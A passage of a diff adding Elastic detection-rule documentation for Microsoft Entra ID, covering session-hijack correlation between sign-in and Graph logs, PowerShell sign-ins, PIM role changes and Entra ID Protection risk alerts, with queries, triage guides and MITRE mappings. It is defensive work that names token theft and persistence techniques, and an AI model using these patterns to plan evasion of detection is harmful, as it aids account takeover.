Graph permission scopes to identify what resources were accessed and whether they align with the user's expected behavior. +- Check the timestamp difference between the sign-in and Graph access events to determine if they occurred within a reasonable time frame that would suggest successful phishing to token issuance and then Graph access. +- Identify the original sign-in event to investigation if conditional access policies were applied, such as requiring multi-factor authentication or blocking access from risky locations. In phishing scenarios, these policies likely were applied as the victim user would have been prompted to authenticate. + + +*False positive analysis* + +- This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile). +- Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved. + + +*Response and remediation* + + +- If confirmed malicious, revoke all refresh/access tokens for the user principal. +- Block the source IP(s) involved in the Graph access. +- Notify the user and reset credentials. +- Review session control policies and conditional access enforcement. +- Monitor for follow-on activity, such as lateral movement or privilege escalation. +- Review conditional access policies to ensure they are enforced correctly. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In and Graph Activity Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs and Microsoft Graph Activity Logs integration to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-*, logs-azure.graphactivitylogs-* metadata _id, _version, _index +| where + (data_stream.dataset == "azure.signinlogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.signinlogs.properties.session_id is not null) + or + (data_stream.dataset == "azure.graphactivitylogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.graphactivitylogs.properties.c_sid is not null) + +| eval + Esql.azure_signinlogs_properties_session_id_coalesce = coalesce(azure.signinlogs.properties.session_id, azure.graphactivitylogs.properties.c_sid), + Esql.azure_signinlogs_properties_user_id_coalesce = coalesce(azure.signinlogs.properties.user_id, azure.graphactivitylogs.properties.user_principal_object_id), + Esql.azure_signinlogs_properties_app_id_coalesce = coalesce(azure.signinlogs.properties.app_id, azure.graphactivitylogs.properties.app_id), + Esql.source_ip = source.ip, + Esql.@timestamp = @timestamp, + Esql.event_type_case = case( + data_stream.dataset == "azure.signinlogs", "signin", + data_stream.dataset == "azure.graphactivitylogs", "graph", + "other" + ), + Esql.signin_source_asn = case(data_stream.dataset == "azure.signinlogs", source.`as`.organization.name, null), + Esql.graph_source_asn = case(data_stream.dataset == "azure.graphactivitylogs", source.`as`.organization.name, null) + +| where Esql.azure_signinlogs_properties_app_id_coalesce not in ( + "4354e225-50c9-4423-9ece-2d5afd904870", // Augmentation Loop + "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe", // Microsoft Teams Services + "ecd6b820-32c2-49b6-98a6-444530e5a77a", // Microsoft Edge [Community Contributed] + "e8be65d6-d430-4289-a665-51bf2a194bda", // Microsoft 365 App Catalog Services + "ab9b8c07-8f02-4f72-87fa-80105867a763", // OneDrive SyncEngine + "394866fc-eedb-4f01-8536-3ff84b16be2a", // Microsoft People Cards Service + "66a88757-258c-4c72-893c-3e8bed4d6899", // Office 365 Search Service + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7", // Bing + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", // Microsoft Edge Enterprise New Tab Page [Community Contributed] + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3", // Microsoft Application Command Service [Community Contributed] + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444", // Graph Files Manager + "27922004-5251-4030-b22d-91ecd9a37ea4", // Outlook Mobile + "bb893c22-978d-4cd4-a6f7-bb6cc0d6e6ce", // Olympus [Community Contributed] + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", // Windows Search + "00000007-0000-0000-c000-000000000000", // Dataverse + "6bc3b958-689b-49f5-9006-36d165f30e00", // Teams CMD Services Artifacts + "0ec893e0-5785-4de6-99da-4ed124e5296c", // Office UWP PWA [Community Contributed] + "fc108d3f-543d-4374-bbff-c7c51f651fe5", // Zoom + "01fc33a7-78ba-4d2f-a4b7-768e336e890e", // MS PIM + "7ab7862c-4c57-491e-8a45-d52a7e023983" // Power Automate / Logic Apps Graph Connector + ) and Esql.signin_source_asn IS NOT NULL and Esql.graph_source_asn IS NOT NULL + +| keep + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.source_ip, + Esql.@timestamp, + Esql.event_type_case, + Esql.azure_signinlogs_properties_user_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.signin_source_asn, + Esql.graph_source_asn, + source.`as`.organization.name, + user_agent.original, + url.original, + azure.graphactivitylogs.properties.scopes, + azure.signinlogs.properties.user_principal_name + +| stats + Esql.azure_signinlogs_properties_user_id_coalesce_values = values(Esql.azure_signinlogs_properties_user_id_coalesce), + Esql.azure_signinlogs_properties_session_id_coalesce_values = values(Esql.azure_signinlogs_properties_session_id_coalesce), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.source_ip_values = values(Esql.source_ip), + Esql.source_ip_count_distinct = count_distinct(Esql.source_ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.signin_source_asn_values = values(Esql.signin_source_asn), + Esql.signin_source_asn_count_distinct = count_distinct(Esql.signin_source_asn), + Esql.graph_source_asn_values = values(Esql.graph_source_asn), + Esql.graph_source_asn_count_distinct = count_distinct(Esql.graph_source_asn), + Esql.user_agent_original_values = values(user_agent.original), + Esql.azure_signinlogs_properties_app_id_coalesce_values = values(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct = count_distinct(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.event_type_case_values = values(Esql.event_type_case), + Esql.event_type_case_count_distinct = count_distinct(Esql.event_type_case), + Esql.signin_time_min = min(case(Esql.event_type_case == "signin", Esql.@timestamp, null)), + Esql.graph_time_min = min(case(Esql.event_type_case == "graph", Esql.@timestamp, null)), + Esql.url_original_values = values(url.original), + Esql.azure_graphactivitylogs_properties_scopes_values = values(azure.graphactivitylogs.properties.scopes), + Esql.event_count = count() + by + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.azure_signinlogs_properties_user_id_coalesce + +| eval + Esql.event_signin_to_graph_delay_minutes_date_diff = date_diff("minutes", Esql.signin_time_min, Esql.graph_time_min), + Esql.event_signin_to_graph_delay_days_date_diff = date_diff("days", Esql.signin_time_min, Esql.graph_time_min) + +| where + Esql.event_type_case_count_distinct > 1 and + Esql.source_ip_count_distinct > 1 and + Esql.source_as_organization_name_count_distinct > 1 and + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct == 1 and + Esql.signin_time_min is not null and + Esql.graph_time_min is not null and + Esql.event_signin_to_graph_delay_minutes_date_diff > 0 and + Esql.event_signin_to_graph_delay_days_date_diff == 0 and + (Esql.signin_source_asn_count_distinct + Esql.graph_source_asn_count_distinct) == Esql.source_as_organization_name_count_distinct + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-powershell-sign-in.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-powershell-sign-in.asciidoc new file mode 100644 index 0000000000..19367d7b86 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-powershell-sign-in.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-entra-id-powershell-sign-in]] +=== Entra ID PowerShell Sign-in + +Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows for managing settings from the command line, which is intended for users who are members of an admin role. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ +* https://docs.microsoft.com/en-us/microsoft-365/enterprise/connect-to-microsoft-365-powershell?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID PowerShell Sign-in* + + +Azure Active Directory PowerShell for Graph (Azure AD PowerShell) is a module IT professionals commonly use to manage their Azure Active Directory. The cmdlets in the Azure AD PowerShell module enable you to retrieve data from the directory, create new objects in the directory, update existing objects, remove objects, as well as configure the directory and its features. + +This rule identifies sign-ins that use the Azure Active Directory PowerShell module, which can indicate unauthorized access if done outside of IT or engineering. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Evaluate whether the user needs to access Azure AD using PowerShell to complete its tasks. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the involved user account. Do they look normal? +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate suspicious actions taken by the user using the module, for example, modifications in security settings that weakens the security policy, persistence-related tasks, and data access. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding IT, Engineering, and other authorized users as exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + azure.signinlogs.properties.app_display_name:"Azure Active Directory PowerShell" and + azure.signinlogs.properties.token_issuer_type:AzureAD and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-privileged-identity-management-pim-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-privileged-identity-management-pim-role-modified.asciidoc new file mode 100644 index 0000000000..4d56906fd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-privileged-identity-management-pim-role-modified.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-21-entra-id-privileged-identity-management-pim-role-modified]] +=== Entra ID Privileged Identity Management (PIM) Role Modified + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-resource-roles-assign-roles +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-configure + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Privileged Identity Management (PIM) Role Modified* + + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. + +This rule identifies the update of PIM role settings, which can indicate that an attacker has already gained enough access to modify role assignment settings. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the user who issued the command. Do they look normal for the user? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Check if this operation was approved and performed according to the organization's change management policy. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the account's commands, API calls, and data management actions in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this activity didn't follow your organization's change management policies, it should be reviewed by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Restore the PIM roles to the desired state. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update role setting in PIM" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-admin-confirmed-compromise.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-admin-confirmed-compromise.asciidoc new file mode 100644 index 0000000000..3dc68815a2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-admin-confirmed-compromise.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-entra-id-protection-admin-confirmed-compromise]] +=== Entra ID Protection Admin Confirmed Compromise + +Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-investigate-risk +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks +* https://learn.microsoft.com/en-us/graph/api/resources/riskdetection + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This is a critical security event that requires immediate investigation and response. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_detail` field to determine if the compromise was confirmed at the sign-in level (`adminConfirmedSigninCompromised`) or user level (`adminConfirmedUserCompromised`). +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the compromised user account. +- Review the `azure.identityprotection.properties.user_display_name` field for additional user identification information. +- Examine the `azure.identityprotection.properties.risk_level` field to understand the severity level assigned to the risk event. +- Check the `azure.identityprotection.properties.risk_state` field to verify the current state of the risk (should be confirmed as compromised). +- Review the `azure.correlation_id` field to correlate this event with other related security events, including the original risk detections that led to the admin confirmation. +- Investigate the timeline of events leading up to the admin confirmation by reviewing Entra ID sign-in logs and audit logs for the affected user. +- Check for any suspicious activities associated with the user account, including: + - Unusual sign-in locations or IP addresses + - Access to sensitive resources or applications + - Changes to user profile, permissions, or MFA settings + - Bulk email sending or data exfiltration activities +- Review the `azure.identityprotection.properties.additional_info` field for any additional context provided by the administrator or Entra ID Protection. +- Identify which administrator confirmed the compromise by reviewing Entra ID audit logs for risk state changes. + + +*False positive analysis* + + +- Security testing or penetration testing exercises may result in administrators confirming test accounts as compromised. If this is expected behavior, consider excluding specific test accounts or implementing a testing account naming convention to filter. +- Incident response drills or tabletop exercises may involve marking accounts as compromised for training purposes. Coordinate with security teams to identify planned exercises. + + +*Response and remediation* + + +- Immediately reset the password for the compromised user account and require the user to set a new password upon next sign-in. +- Revoke all active sessions and authentication tokens for the compromised account, including: + - Primary refresh tokens (PRTs) + - OAuth tokens + - Session cookies + - Application-specific passwords +- Review and revoke any suspicious OAuth consent grants or application permissions added by the compromised account. +- Enable or enforce multi-factor authentication (MFA) for the affected user account if not already enabled. +- Review all activities performed by the compromised account, including: + - Email forwarding rules or inbox rules + - File access and downloads + - Changes to security settings or permissions + - Creation of new users or service principals +- Assess the scope of the compromise by identifying any lateral movement or privilege escalation activities. +- Consider disabling the account temporarily until the investigation is complete and all remediation steps are verified. +- Implement conditional access policies to prevent future compromises, such as requiring MFA from untrusted locations or blocking legacy authentication. +- Review and strengthen identity protection policies and risk-based conditional access rules. +- Document the incident, including the timeline, scope of compromise, and remediation actions taken. +- Conduct a post-incident review to identify gaps in security controls and implement improvements to prevent similar incidents. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.identity_protection and + azure.identityprotection.properties.risk_detail: ( + "adminConfirmedSigninCompromised" or + "adminConfirmedUserCompromised" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-alerts-for-user-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-alerts-for-user-detected.asciidoc new file mode 100644 index 0000000000..94baf239e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-alerts-for-user-detected.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-entra-id-protection-alerts-for-user-detected]] +=== Entra ID Protection Alerts for User Detected + +Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection Alerts for User Detected* + + + +*Possible investigation steps* + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.identityprotection.properties.user_principal_name with maxspan=10m +[any where event.module == "azure" and data_stream.dataset == "azure.identity_protection"] with runs=2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-sign-in-risk.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-sign-in-risk.asciidoc new file mode 100644 index 0000000000..ced361b6ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-protection-risk-detection-sign-in-risk.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-entra-id-protection-risk-detection-sign-in-risk]] +=== Entra ID Protection - Risk Detection - Sign-in Risk + +Identifies sign-in risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects sign-in activity such as anonymized IP addresses, unlikely travel, password spray, and more. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#risk-types-and-detection +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Use Case: Risk Detection +* Tactic: Initial Access +* Resources: 